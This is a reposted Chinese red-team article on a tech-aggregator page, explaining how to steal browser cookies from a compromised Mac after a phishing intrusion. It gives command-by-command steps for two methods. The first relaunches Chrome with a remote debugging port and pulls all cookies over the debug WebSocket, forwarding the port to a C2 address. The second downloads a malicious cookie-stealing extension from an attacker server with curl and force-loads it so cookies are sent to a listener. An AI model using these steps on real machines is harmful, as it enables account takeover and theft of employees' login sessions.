IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> 网络协议 -> 【网络安全】Mac浏览器下cookie获取的两个思路 -> 正文阅读

[网络协议]【网络安全】Mac浏览器下cookie获取的两个思路

声明:本文仅限于技术讨论与分享,严禁用于非法途径。

前言

Windows系统密码和cookie获取比较容易,用工具即可,但Mac下浏览器密码获取较难。

当我们通过钓鱼等方式拿到单位员工的个人PC机时,通常需要对主机进行信息收集。而浏览器是一个重要的信息收集点。我们可以收集历史记录、书签寻找靶机。窃取密码登录SSO、内部OA等等关键系统。但是在MAC下,因为系统的安全性,想要获取密码存在比较大的困难。

在 macOS 上,Google Chrome 的加密密钥存储在 Keychain 中,需要使用用户的明文密码解锁。

在 Windows 上,Google Chrome 版本 80+ 使用使用 DPAPI 加密的 AES-256 密钥加密 cookie。解密时不需密码。

windows下密码和cookie获取比较容易,一般上工具(HackBrowserData)就行,这里不多说。mac下的浏览器密码不好获取。mac下因为系统安全性受限,使用相关工具会弹输入用户密码的框。看下面的弹窗提示,一下就暴露了,一般人也不会点允许。

因此我们得曲线救国,比如说获取cookie。这里提供两种方法:

思路一:无头浏览器远程调试

为了便于调试和自动化,chrome内核的浏览器支持远程调试,然后可以直接调用调试接口获取cookie。网上的资料几乎大都是使用–headless无头模式利用,但本人在mac pro、最新版chrome浏览器却无法复现。

使用headless无头浏览器模式会爆如下的错误:

在一个老外的文章里找到了原因:

然后curl接口,不并无相关数据显示

【→网络安全技术文档←】
1、网络安全学习路线
2、电子书籍(白帽子)
3、安全大厂内部视频
4、100份src文档
5、常见安全面试题
6、ctf大赛经典题目解析
7、全套工具包
8、应急响应笔记

第一步

  1. ps aux|grep Chrome 观察浏览器是否在运行。
  2. 若浏览器在运行,执行:killall “Google Chrome” 杀掉浏览器进程
  3. 马上在第二步命令后加上–restore-last-session,还原浏览器最近浏览的选项卡。
  4. 若浏览器未在运行,直接执行第二步,获取到cookie后 杀掉进程即可

第二步

启动chrome内核浏览器,开启指定调试端口

/Applications/Google\ Chrome.app/Contents/MacOS/Google\ Chrome --remote-debugging-port=9222 --user-data-dir="/Users/用户名/Library/Application Support/Google/Chrome"

第三步

查看调试端口

curl -s localhost:9222/json

第四步

使用相关websocket工具(这里为了方便演示,直接使用了插件Simple WebSocket Client,入侵时候把调试端口用代理转发到本地,localhost改成c2 ip就好。若不想代理,命令行下websocket的相关工具还有wsc、python模块等),

从第三步获取的结果中,任选一个webSocketDebuggerUrl,发送{“id”: 1, “method”: “Network.getAllCookies”}

成功获取所有cookie

思路二:命令行加载恶意拓展

第二个思路来源是网上看到新闻,存在chrome 恶意插件盗取用户的cookie,因此查找相关资料进行学习。

令人惊喜的是,有位师傅github有直接写好获取cookie的插件

https://github.com/saucer-man/chrome_get_cookie

因此这里我们直接调用上面的插件脚本进行利用

第一步

vps起一个flask服务器监听,接受cookies数据

第二步

使用curl或者wget下载恶意chrome插件文件夹到肉鸡电脑,

curl http://X.X.X.X/cookie.zip -o /tmp/cookie.zip
unzip cookie.zip

第三步

用户未打开浏览器的情况,或我们直接杀掉浏览器进程:

killall “Google Chrome”

然后执行命令,使chromer浏览器加载我们的拓展

/Applications/Google\ Chrome.app/Contents/MacOS/Google\ Chrome --load-extension=/tmp/cookie --user-data-dir="/Users/用户名/Library/Application Support/Google/Chrome" --restore-last-session

加载后会打开chromer浏览器

vps服务器也同步接收到了数据,保存cookie.json文件在当前目录

用户已打开浏览器的时候,因为两个正在运行的 Chrome 实例不能共享同一个用户数据目录,因此用上面方法就行不通了。

网上有方法是把用户数据复制到另一个目录,但复现未成功,打开的是没用户数据的chrome浏览器。

首先使用cp命令复制文件夹到tmp目录

cp -R ~/Library/Application\ Support/Google/Chrome/Default ~/tmp

使用–user-data命令,指定用户数据执行命令

/Applications/Google\ Chrome.app/Contents/MacOS/Google\ Chrome --user-data-dir=~/tmp --load-extension=/Users/用户名/Desktop/tools/redteam/chrome_get_cookie

弹出来的是空白浏览器:

接收不到cookie

注意

killall “Google Chrome” 关闭chrome浏览器进程的命令

浏览器命令行相关参数:

–headless 无头模式–restore-last-session 浏览器崩溃后,恢复浏览器的最近浏览的选项卡–load-extension 加载的拓展插件文件夹路径–remote-debugging-port=xxx 远程调试的端口–user-data-dir 表示加载用户浏览器数据文件夹,没有指定数据目录,打开的会是全新无痕的chrome

chrome 用户数据配置文件夹保存路径:

Mac OS X: ~/Library/Application Support/Google/Chrome/DefaultWindows XP: Documents and SettingsusernameLocal SettingsApplication DataGoogleChromeUser DataDefaultWindows 7: C:\Users\xxx\AppData\Local\Google\Chrome\User Data\DefaultLinux: ~/.config/google-chrome/DefaultUbuntu: ~/.config/google-chrome 或 ~/.config/chromium
  网络协议 最新文章
使用Easyswoole 搭建简单的Websoket服务
常见的数据通信方式有哪些?
Openssl 1024bit RSA算法---公私钥获取和处
HTTPS协议的密钥交换流程
《小白WEB安全入门》03. 漏洞篇
HttpRunner4.x 安装与使用
2021-07-04
手写RPC学习笔记
K8S高可用版本部署
mySQL计算IP地址范围
上一篇文章      下一篇文章      查看所有文章
加:2022-04-18 18:20:11  更:2022-04-18 18:22:48 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/26 4:22:49-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码